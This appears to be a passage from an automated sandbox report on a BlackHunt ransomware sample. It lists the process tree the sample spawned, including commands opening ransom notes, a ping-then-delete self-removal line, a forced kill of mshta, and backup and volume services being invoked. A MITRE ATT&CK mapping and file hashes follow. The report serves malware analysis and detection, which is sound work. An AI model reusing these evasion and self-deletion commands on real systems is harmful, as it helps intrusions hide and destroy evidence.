-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c notepad.exe C:\ProgramData\#BlackHunt_ReadMe.txt2⤵PID:3232
-
C:\Windows\system32\notepad.exenotepad.exe C:\ProgramData\#BlackHunt_ReadMe.txt3⤵PID:9504
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c C:\ProgramData\#BlackHunt_ReadMe.hta2⤵
- Checks computer location settings
- Modifies registry class
PID:5768 -
C:\Windows\SysWOW64\mshta.exe"C:\Windows\SysWOW64\mshta.exe" "C:\ProgramData\#BlackHunt_ReadMe.hta" {1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}{1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}3⤵PID:7692
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 7692 -s 14444⤵
- Program crash
PID:7972
-
-
-
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /c ping 127.0.0.1 -n 5 > nul & del "C:\Users\Admin\AppData\Local\Temp\1ba77f96396468b6dcdef50ebd281c089759b06e9e4fb8c32b2c542c9491b81c.exe"2⤵PID:7144
-
C:\Windows\SysWOW64\PING.EXEping 127.0.0.1 -n 53⤵
- Runs ping.exe
PID:1148
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c taskkill /IM mshta.exe /f2⤵PID:5368
-
C:\Windows\system32\taskkill.exetaskkill /IM mshta.exe /f3⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
PID:9508
-
-
-
C:\Windows\System32\Conhost.exe\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV11⤵PID:3492
-
C:\Windows\system32\vssvc.exeC:\Windows\system32\vssvc.exe1⤵
- Suspicious use of AdjustPrivilegeToken
PID:6848
-
C:\Windows\system32\wbengine.exe"C:\Windows\system32\wbengine.exe"1⤵
- Suspicious use of AdjustPrivilegeToken
PID:8668
-
C:\Windows\System32\vdsldr.exeC:\Windows\System32\vdsldr.exe -Embedding1⤵PID:11824
-
C:\Windows\System32\vds.exeC:\Windows\System32\vds.exe1⤵
- Checks SCSI registry key(s)
PID:5956
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 452 -p 7692 -ip 76921⤵PID:11704
Network
MITRE ATT&CK Enterprise v15
Persistence
Boot or Logon Autostart Execution
1Registry Run Keys / Startup Folder
1Create or Modify System Process
1Windows Service
1Scheduled Task/Job
1Privilege Escalation
Abuse Elevation Control Mechanism
1Bypass User Account Control
1Boot or Logon Autostart Execution
1Registry Run Keys / Startup Folder
1Create or Modify System Process
1Windows Service
1Scheduled Task/Job
1Defense Evasion
Abuse Elevation Control Mechanism
1Bypass User Account Control
1Impair Defenses
2Disable or Modify Tools
2Indicator Removal
4File Deletion
3Modify Registry
5Replay Monitor
Loading Replay Monitor...
Downloads
-
Filesize
1KB
MD58726151b1c0e0ff963e6a844943bb906
SHA15539dc5406c0b5cada6b69485532bc07a03b5f78
SHA256bcff727dd65cef4f97bed3fd5249adaf5930f06c23f803f37744b4adbc2379a7
SHA5121db3a3582ba05d51564cb3db74a6790b92a60e4be3a95629de04661105707b34c25530da228fe84a3826e86dd6b3583af5fdda83acf1b25d363d782544e413ca
-
Filesize
12KB
MD585f37682e12150b6bb7d7a579b52fde3
SHA12a4d333f635190e2291ebaff8970816a8f989ee3
SHA256aa02063738887efe4defdefaad60465d0798642c05499381c997e49190370d6d
SHA512119778c2773adc8e26896bde56c88b969e2dccd7bee84015043e1b12f520bf56395184503e1e23d4e41fc795aeb0f062b3baf79c52348c8f5f2beb36b6e7680e
-
Filesize
684B
MD58f32ef57fd03e0bb568647b8cd96d2b2
SHA15647545fe09a810a0f2392c545ba2f2ee6cc9e77
SHA2569c1159750e03dd0b90a2effbec069d871f4525377bef08630771a1fe0802e5b6
SHA512a88f71ba8341725f9d290e0b0c74f2aa994de900265e0fafb7fa608073fab2c3743ee9fb1bd4ec7444164d4856f5c2383192e295de61b3e57248b5e150174057